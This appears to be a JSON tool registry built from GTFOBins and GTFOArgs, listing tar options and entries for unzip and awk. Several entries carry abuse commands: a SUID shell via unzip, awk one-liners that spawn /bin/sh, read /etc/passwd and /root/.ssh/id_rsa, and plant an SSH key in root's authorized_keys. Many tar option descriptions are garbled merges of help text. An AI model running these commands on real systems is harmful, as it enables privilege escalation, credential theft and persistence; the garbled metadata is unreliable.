        "flag": "--index-file"
      },
      {
        "name": "info-script",
        "template_key": "info-script",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "run script at end of each tape (implies -M)",
        "aliases": [
          "-F",
          "--info-script",
          "--new-volume-script"
        ],
        "flag": "-F"
      },
      {
        "name": "interactive",
        "template_key": "interactive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ask for confirmation for every action",
        "aliases": [
          "-w",
          "--interactive",
          "--confirmation"
        ],
        "flag": "-w"
      },
      {
        "name": "keep-directory-symlink",
        "template_key": "keep-directory-symlink",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve existing symlinks to directories when",
        "aliases": [
          "--keep-directory-symlink"
        ],
        "flag": "--keep-directory-symlink"
      },
      {
        "name": "keep-newer-files",
        "template_key": "keep-newer-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't replace existing files that are newer than",
        "aliases": [
          "--keep-newer-files"
        ],
        "flag": "--keep-newer-files"
      },
      {
        "name": "keep-old-files",
        "template_key": "keep-old-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't replace existing files when extracting",
        "aliases": [
          "-k",
          "--keep-old-files"
        ],
        "flag": "-k"
      },
      {
        "name": "label",
        "template_key": "label",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create archive with volume name TEXT; at",
        "aliases": [
          "-V",
          "--label"
        ],
        "flag": "-V"
      },
      {
        "name": "list",
        "template_key": "list",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list the contents of an archive",
        "aliases": [
          "-t",
          "--list"
        ],
        "flag": "-t"
      },
      {
        "name": "listed-incremental",
        "template_key": "listed-incremental",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "handle new GNU-format incremental backup",
        "aliases": [
          "-g",
          "--listed-incremental"
        ],
        "flag": "-g"
      },
      {
        "name": "lzip",
        "template_key": "lzip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through lzip",
        "aliases": [
          "--lzip"
        ],
        "flag": "--lzip"
      },
      {
        "name": "lzma",
        "template_key": "lzma",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through xz",
        "aliases": [
          "--lzma"
        ],
        "flag": "--lzma"
      },
      {
        "name": "lzop",
        "template_key": "lzop",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through lzop",
        "aliases": [
          "--lzop"
        ],
        "flag": "--lzop"
      },
      {
        "name": "mode",
        "template_key": "mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force (symbolic) mode CHANGES for added files",
        "aliases": [
          "--mode"
        ],
        "flag": "--mode"
      },
      {
        "name": "mtime",
        "template_key": "mtime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set mtime for added files from DATE-OR-FILE",
        "aliases": [
          "-O",
          "-F",
          "--mtime"
        ],
        "flag": "-O"
      },
      {
        "name": "multi-volume",
        "template_key": "multi-volume",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create/list/extract multi-volume archive",
        "aliases": [
          "-M",
          "--multi-volume"
        ],
        "flag": "-M"
      },
      {
        "name": "newer",
        "template_key": "newer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only store files newer than DATE-OR-FILE --one-file-system stay in local file system when creating archive",
        "aliases": [
          "-N",
          "-O",
          "-F",
          "-O",
          "-F",
          "--newer",
          "--after-date"
        ],
        "flag": "-N"
      },
      {
        "name": "newer_mtime",
        "type": "boolean",
        "required": false,
        "description": "compare date and time when data changed only",
        "aliases": [
          "--newer-mtime"
        ],
        "flag": "--newer-mtime"
      },
      {
        "name": "no-acls",
        "template_key": "no-acls",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the POSIX ACLs support",
        "aliases": [
          "--no-acls"
        ],
        "flag": "--no-acls"
      },
      {
        "name": "no-anchored",
        "template_key": "no-anchored",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "patterns match after any '/' (default for",
        "aliases": [
          "--no-anchored"
        ],
        "flag": "--no-anchored"
      },
      {
        "name": "no-auto-compress",
        "template_key": "no-auto-compress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not use archive suffix to determine the",
        "aliases": [
          "--no-auto-compress"
        ],
        "flag": "--no-auto-compress"
      },
      {
        "name": "no-delay-directory-restore",
        "template_key": "no-delay-directory-restore",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "cancel the effect of --delay-directory-restore option --no-same-owner extract files as yourself (default for ordinary users) --no-same-permissions apply the user's umask when extracting permissions from the archive (default for ordinary users) --numeric-owner always use numbers for user/group names --owner=NAME force NAME as owner for added files --owner-map=FILE use FILE to map file owner UIDs and names",
        "aliases": [
          "--no-delay-directory-restore"
        ],
        "flag": "--no-delay-directory-restore"
      },
      {
        "name": "no-ignore-case",
        "template_key": "no-ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "case sensitive matching (default)",
        "aliases": [
          "--no-ignore-case"
        ],
        "flag": "--no-ignore-case"
      },
      {
        "name": "no-overwrite-dir",
        "template_key": "no-overwrite-dir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve metadata of existing directories",
        "aliases": [
          "--no-overwrite-dir"
        ],
        "flag": "--no-overwrite-dir"
      },
      {
        "name": "no-quote-chars",
        "template_key": "no-quote-chars",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable quoting for characters from STRING",
        "aliases": [
          "--no-quote-chars"
        ],
        "flag": "--no-quote-chars"
      },
      {
        "name": "no-selinux",
        "template_key": "no-selinux",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the SELinux context support",
        "aliases": [
          "--no-selinux"
        ],
        "flag": "--no-selinux"
      },
      {
        "name": "no-wildcards",
        "template_key": "no-wildcards",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbatim string matching",
        "aliases": [
          "--no-wildcards"
        ],
        "flag": "--no-wildcards"
      },
      {
        "name": "no-wildcards-match-slash",
        "template_key": "no-wildcards-match-slash",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wildcards do not match '/'",
        "aliases": [
          "--no-wildcards-match-slash"
        ],
        "flag": "--no-wildcards-match-slash"
      },
      {
        "name": "no-xattrs",
        "template_key": "no-xattrs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable extended attributes support",
        "aliases": [
          "--no-xattrs"
        ],
        "flag": "--no-xattrs"
      },
      {
        "name": "no_check_device",
        "type": "boolean",
        "required": false,
        "description": "do not check device numbers when creating",
        "aliases": [
          "--no-check-device"
        ],
        "flag": "--no-check-device"
      },
      {
        "name": "no_ignore_command_error",
        "type": "boolean",
        "required": false,
        "description": "exit codes of children as",
        "aliases": [
          "--no-ignore-command-error",
          "-zero"
        ],
        "flag": "-zero"
      },
      {
        "name": "no_null",
        "type": "boolean",
        "required": false,
        "description": "option",
        "aliases": [
          "--no-null",
          "--null"
        ],
        "flag": "--null"
      },
      {
        "name": "no_recursion",
        "type": "boolean",
        "required": false,
        "description": "avoid descending automatically in directories",
        "aliases": [
          "--no-recursion"
        ],
        "flag": "--no-recursion"
      },
      {
        "name": "no_same_owner",
        "type": "boolean",
        "required": false,
        "description": "extract files as yourself (default for ordinary",
        "aliases": [
          "--no-same-owner"
        ],
        "flag": "--no-same-owner"
      },
      {
        "name": "no_same_permissions",
        "type": "boolean",
        "required": false,
        "description": "apply the user's umask when extracting permissions",
        "aliases": [
          "--no-same-permissions"
        ],
        "flag": "--no-same-permissions"
      },
      {
        "name": "no_seek",
        "type": "boolean",
        "required": false,
        "description": "archive is not seekable",
        "aliases": [
          "--no-seek"
        ],
        "flag": "--no-seek"
      },
      {
        "name": "no_unquote",
        "type": "boolean",
        "required": false,
        "description": "do not unquote input file or member names",
        "aliases": [
          "--no-unquote"
        ],
        "flag": "--no-unquote"
      },
      {
        "name": "no_verbatim_files_from",
        "type": "boolean",
        "required": false,
        "description": "treats file names starting with dash as",
        "aliases": [
          "--no-verbatim-files-from",
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "null",
        "type": "boolean",
        "required": false,
        "description": "names; implies",
        "aliases": [
          "--null",
          "-T",
          "-terminated"
        ],
        "flag": "-T"
      },
      {
        "name": "numeric_owner",
        "type": "boolean",
        "required": false,
        "description": "always use numbers for user/group names",
        "aliases": [
          "--numeric-owner"
        ],
        "flag": "--numeric-owner"
      },
      {
        "name": "occurrence",
        "template_key": "occurrence",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "in the archive; this option is valid only in conjunction with one of the subcommands --delete, --diff, --extract or --list and when a list of files is given either on the command line or via the -T option; NUMBER defaults to 1 --sparse-version=MAJOR[.MINOR] set version of the sparse format to use (implies --sparse)",
        "aliases": [
          "--occurrence"
        ],
        "flag": "--occurrence"
      },
      {
        "name": "old-archive",
        "template_key": "old-archive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as --format=v7 --pax-option=keyword[[:]=value][,keyword[[:]=value]]... control pax keywords --posix same as --format=posix",
        "aliases": [
          "--old-archive",
          "--portability"
        ],
        "flag": "--old-archive"
      },
      {
        "name": "one-top-level",
        "template_key": "one-top-level",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "extracted --overwrite overwrite existing files when extracting --overwrite-dir overwrite metadata of existing directories when extracting (default) --recursive-unlink empty hierarchies prior to extracting directory --remove-files remove files after adding them to the archive --skip-old-files don't replace existing files when extracting, silently skip over them",
        "aliases": [
          "--one-top-level"
        ],
        "flag": "--one-top-level"
      },
      {
        "name": "one_file_system",
        "type": "boolean",
        "required": false,
        "description": "stay in local file system when creating archive",
        "aliases": [
          "--one-file-system"
        ],
        "flag": "--one-file-system"
      },
      {
        "name": "overwrite",
        "type": "boolean",
        "required": false,
        "description": "overwrite existing files when extracting",
        "aliases": [
          "--overwrite"
        ],
        "flag": "--overwrite"
      },
      {
        "name": "overwrite_dir",
        "type": "boolean",
        "required": false,
        "description": "overwrite metadata of existing directories when",
        "aliases": [
          "--overwrite-dir"
        ],
        "flag": "--overwrite-dir"
      },
      {
        "name": "owner_map",
        "type": "boolean",
        "required": false,
        "description": "use FILE to map file owner UIDs and names",
        "aliases": [
          "--owner-map"
        ],
        "flag": "--owner-map"
      },
      {
        "name": "pax_option",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--pax-option"
        ],
        "flag": "--pax-option"
      },
      {
        "name": "posix",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--posix",
          "--format"
        ],
        "flag": "--posix"
      },
      {
        "name": "preserve-order",
        "template_key": "preserve-order",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "member arguments are listed in the same order as the files in the archive",
        "aliases": [
          "-s",
          "--preserve-order",
          "--same-order"
        ],
        "flag": "-s"
      },
      {
        "name": "preserve-permissions",
        "template_key": "preserve-permissions",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "extract information about file permissions (default for superuser) --same-owner try extracting files with the same ownership as exists in the archive (default for superuser) --sort=ORDER directory sorting order: none (default), name or inode",
        "aliases": [
          "-p",
          "--preserve-permissions",
          "--same-permissions"
        ],
        "flag": "-p"
      },
      {
        "name": "quote-chars",
        "template_key": "quote-chars",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "additionally quote characters from STRING",
        "aliases": [
          "--quote-chars"
        ],
        "flag": "--quote-chars"
      },
      {
        "name": "quoting-style",
        "template_key": "quoting-style",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "values",
        "aliases": [
          "--quoting-style"
        ],
        "flag": "--quoting-style"
      },
      {
        "name": "read-full-records",
        "template_key": "read-full-records",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "reblock as we read (for 4.2BSD pipes)",
        "aliases": [
          "-B",
          "--read-full-records"
        ],
        "flag": "-B"
      },
      {
        "name": "record-size",
        "template_key": "record-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "NUMBER of bytes per record, multiple of 512",
        "aliases": [
          "--record-size"
        ],
        "flag": "--record-size"
      },
      {
        "name": "recursion",
        "type": "boolean",
        "required": false,
        "description": "recurse into directories (default)",
        "aliases": [
          "--recursion"
        ],
        "flag": "--recursion"
      },
      {
        "name": "recursive_unlink",
        "type": "boolean",
        "required": false,
        "description": "empty hierarchies prior to extracting directory",
        "aliases": [
          "--recursive-unlink"
        ],
        "flag": "--recursive-unlink"
      },
      {
        "name": "remove_files",
        "type": "boolean",
        "required": false,
        "description": "remove files after adding them to the archive",
        "aliases": [
          "--remove-files"
        ],
        "flag": "--remove-files"
      },
      {
        "name": "restrict",
        "template_key": "restrict",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable use of some potentially harmful options",
        "aliases": [
          "--restrict"
        ],
        "flag": "--restrict"
      },
      {
        "name": "rmt-command",
        "template_key": "rmt-command",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--rsh-command=COMMAND use remote COMMAND instead of rsh --volno-file=FILE use/update the volume number in FILE",
        "aliases": [
          "--rmt-command"
        ],
        "flag": "--rmt-command"
      },
      {
        "name": "rsh-command",
        "template_key": "rsh-command",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--rsh-command"
        ],
        "flag": "--rsh-command"
      },
      {
        "name": "same_owner",
        "type": "boolean",
        "required": false,
        "description": "try extracting files with the same ownership as",
        "aliases": [
          "--same-owner"
        ],
        "flag": "--same-owner"
      },
      {
        "name": "seek",
        "template_key": "seek",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "archive is seekable",
        "aliases": [
          "-n",
          "--seek"
        ],
        "flag": "-n"
      },
      {
        "name": "selinux",
        "template_key": "selinux",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable the SELinux context support",
        "aliases": [
          "--selinux"
        ],
        "flag": "--selinux"
      },
      {
        "name": "show-defaults",
        "template_key": "show-defaults",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show tar defaults",
        "aliases": [
          "--show-defaults"
        ],
        "flag": "--show-defaults"
      },
      {
        "name": "show-omitted-dirs",
        "template_key": "show-omitted-dirs",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "when listing or extracting, list each directory",
        "aliases": [
          "--show-omitted-dirs"
        ],
        "flag": "--show-omitted-dirs"
      },
      {
        "name": "show-snapshot-field-ranges",
        "template_key": "show-snapshot-field-ranges",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show valid ranges for snapshot-file fields --show-transformed-names, --show-stored-names show file or archive names after transformation --totals[=SIGNAL] print total bytes after processing the archive; with an argument - print total bytes when this SIGNAL is delivered; Allowed signals are: SIGHUP, SIGQUIT, SIGINT, SIGUSR1 and SIGUSR2; the names without SIG prefix are also accepted --utc print file modification times in UTC",
        "aliases": [
          "--show-snapshot-field-ranges"
        ],
        "flag": "--show-snapshot-field-ranges"
      },
      {
        "name": "show_transformed_names",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--show-transformed-names",
          "--show-stored-names"
        ],
        "flag": "--show-stored-names"
      },
      {
        "name": "skip_old_files",
        "type": "boolean",
        "required": false,
        "description": "don't replace existing files when extracting,",
        "aliases": [
          "--skip-old-files"
        ],
        "flag": "--skip-old-files"
      },
      {
        "name": "sparse",
        "template_key": "sparse",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "handle sparse files efficiently",
        "aliases": [
          "-S",
          "--sparse"
        ],
        "flag": "-S"
      },
      {
        "name": "sparse_version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--sparse-version"
        ],
        "flag": "--sparse-version"
      },
      {
        "name": "starting-file",
        "template_key": "starting-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "begin at member MEMBER-NAME when reading the archive --newer-mtime=DATE compare date and time when data changed only",
        "aliases": [
          "-K",
          "-N",
          "--starting-file"
        ],
        "flag": "-K"
      },
      {
        "name": "strip-components",
        "template_key": "strip-components",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "strip NUMBER leading components from file",
        "aliases": [
          "--strip-components"
        ],
        "flag": "--strip-components"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "backup before removal, override usual suffix ('~'",
        "aliases": [
          "--suffix"
        ],
        "flag": "--suffix"
      },
      {
        "name": "tape-length",
        "template_key": "tape-length",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "change tape after writing NUMBER x 1024 bytes",
        "aliases": [
          "-L",
          "--tape-length"
        ],
        "flag": "-L"
      },
      {
        "name": "test-label",
        "template_key": "test-label",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "test the archive volume label and exit",
        "aliases": [
          "--test-label"
        ],
        "flag": "--test-label"
      },
      {
        "name": "to-command",
        "template_key": "to-command",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "pipe extracted files to another program",
        "aliases": [
          "--to-command"
        ],
        "flag": "--to-command"
      },
      {
        "name": "to-stdout",
        "template_key": "to-stdout",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "extract files to standard output",
        "aliases": [
          "-O",
          "--to-stdout"
        ],
        "flag": "-O"
      },
      {
        "name": "totals",
        "type": "boolean",
        "required": false,
        "description": "print total bytes after processing the archive;",
        "aliases": [
          "--totals"
        ],
        "flag": "--totals"
      },
      {
        "name": "touch",
        "template_key": "touch",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't extract file modified time",
        "aliases": [
          "-m",
          "--touch"
        ],
        "flag": "-m"
      },
      {
        "name": "transform",
        "template_key": "transform",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use sed replace EXPRESSION to transform file names",
        "aliases": [
          "--transform",
          "--xform"
        ],
        "flag": "--xform"
      },
      {
        "name": "unlink-first",
        "template_key": "unlink-first",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "remove each file prior to extracting over it",
        "aliases": [
          "-U",
          "--unlink-first"
        ],
        "flag": "-U"
      },
      {
        "name": "unquote",
        "template_key": "unquote",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "unquote input file or member names (default)",
        "aliases": [
          "--unquote"
        ],
        "flag": "--unquote"
      },
      {
        "name": "update",
        "template_key": "update",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only append files newer than copy in archive",
        "aliases": [
          "-u",
          "--update"
        ],
        "flag": "-u"
      },
      {
        "name": "usage",
        "template_key": "usage",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give a short usage message",
        "aliases": [
          "--usage"
        ],
        "flag": "--usage"
      },
      {
        "name": "use-compress-program",
        "template_key": "use-compress-program",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter through PROG (must accept -d)",
        "aliases": [
          "-I",
          "--use-compress-program"
        ],
        "flag": "-I"
      },
      {
        "name": "utc",
        "type": "boolean",
        "required": false,
        "description": "print file modification times in UTC",
        "aliases": [
          "--utc"
        ],
        "flag": "--utc"
      },
      {
        "name": "verbatim-files-from",
        "template_key": "verbatim-files-from",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "handling)",
        "aliases": [
          "-T",
          "--verbatim-files-from"
        ],
        "flag": "-T"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbosely list files processed",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "verify",
        "template_key": "verify",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "attempt to verify the archive after writing it",
        "aliases": [
          "-W",
          "--verify"
        ],
        "flag": "-W"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print program version",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "volno_file",
        "type": "boolean",
        "required": false,
        "description": "use/update the volume number in FILE",
        "aliases": [
          "--volno-file"
        ],
        "flag": "--volno-file"
      },
      {
        "name": "warning",
        "template_key": "warning",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "warning control",
        "aliases": [
          "--warning"
        ],
        "flag": "--warning"
      },
      {
        "name": "wildcards",
        "template_key": "wildcards",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use wildcards (default for exclusion)",
        "aliases": [
          "--wildcards"
        ],
        "flag": "--wildcards"
      },
      {
        "name": "wildcards-match-slash",
        "template_key": "wildcards-match-slash",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wildcards match '/' (default for exclusion)",
        "aliases": [
          "--wildcards-match-slash"
        ],
        "flag": "--wildcards-match-slash"
      },
      {
        "name": "xattrs",
        "template_key": "xattrs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable extended attributes support",
        "aliases": [
          "--xattrs"
        ],
        "flag": "--xattrs"
      },
      {
        "name": "xattrs-exclude",
        "template_key": "xattrs-exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--xattrs-include=MASK specify the include pattern for xattr keys",
        "aliases": [
          "--xattrs-exclude"
        ],
        "flag": "--xattrs-exclude"
      },
      {
        "name": "xattrs_include",
        "type": "boolean",
        "required": false,
        "description": "specify the include pattern for xattr keys",
        "aliases": [
          "--xattrs-include"
        ],
        "flag": "--xattrs-include"
      },
      {
        "name": "xz",
        "template_key": "xz",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through xz",
        "aliases": [
          "-J",
          "--xz"
        ],
        "flag": "-J"
      },
      {
        "name": "zstd",
        "template_key": "zstd",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through zstd",
        "aliases": [
          "--zstd"
        ],
        "flag": "--zstd"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tar/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# unzip\n\nunzip is a command-line utility. Extract compressed ZIP archives.\n",
    "_source": "unzip.md",
    "allowed-tools": [
      "unzip"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Extract compressed ZIP archives; can read arbitrary files.",
    "examples": [
      {
        "description": "Privilege-escalation (sudo, suid)",
        "command": "unzip -K shell.zip\n./sh -p"
      }
    ],
    "execution": {
      "template": "unzip",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "archive-zip-unzip",
    "install": [
      {
        "method": "apt",
        "package_name": "unzip",
        "commands": [
          "apt-get install -y unzip"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "unzip",
    "namespace": "archive:zip:unzip",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/unzip/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# awk\n\nGTFOArgs entry for awk. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-awk.md",
    "capabilities": [
      "security.execution.command",
      "system.file.read",
      "system.file.write"
    ],
    "description": "Argument injection via awk",
    "examples": [
      {
        "description": "Can be used to execute arbitrary commands on a system and spawn shells.",
        "command": "awk 'BEGIN{system(\"/bin/sh\")}'"
      },
      {
        "description": "Can be used to execute arbitrary commands on a system.",
        "command": "awk 'BEGIN {system(\"ls\"); exit}' /dev/null "
      },
      {
        "description": "The file must exist and command will be executed as many rows there are in the file.",
        "command": "awk 'system(\"ls\")' /etc/passwd "
      },
      {
        "description": "If spaces cannot be inserted, we can use `sprintf(%c,32)` to emulate them.",
        "command": "awk '//{}BEGIN{system(sprintf(\"uname%c-aa\",32))}' "
      },
      {
        "description": "Read an arbitrary file.",
        "command": "awk 'BEGIN{while((getline line<\"/etc/passwd\")>0){print line}}' /dev/null "
      },
      {
        "description": "Print the contents of multiple files.",
        "command": "awk '//' /etc/passwd /etc/hostname /root/.ssh/id_rsa "
      },
      {
        "description": "Write to an arbitrary file",
        "command": "awk 'BEGIN{print \"ssh-rsa ...\" > \"/root/.ssh/authorized_keys}' /dev/null "
      }
    ],
    "execution": {
      "template": "awk",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-awk",
    "name": "awk",
    "namespace": "argument:injection:awk",
    "parameters": [
      {
        "name": "M",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-M",
          "--bignum"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--debug[=file]",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-E",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--exec=file",
        "aliases": [
          "-E"
        ],
        "flag": "-E"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--field-separator=fs",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--lint[=fatal|invalid|no-ext]",
        "aliases": [
          "-L",
          "-e"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--characters-as-bytes",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--traditional",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--dump-variables[=file]",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--source='program-text'",
        "aliases": [
          "-e",
          "-t"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--file=progfile",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--gen-pot",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--help",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--include=includefile",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--csv",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--load=library",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--non-decimal-data",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--pretty-print[=file]",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--profile[=file]",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "--re-interval",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--no-optimize",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--lint-old",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--assign=var=val",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/awk/"
      }
    ],
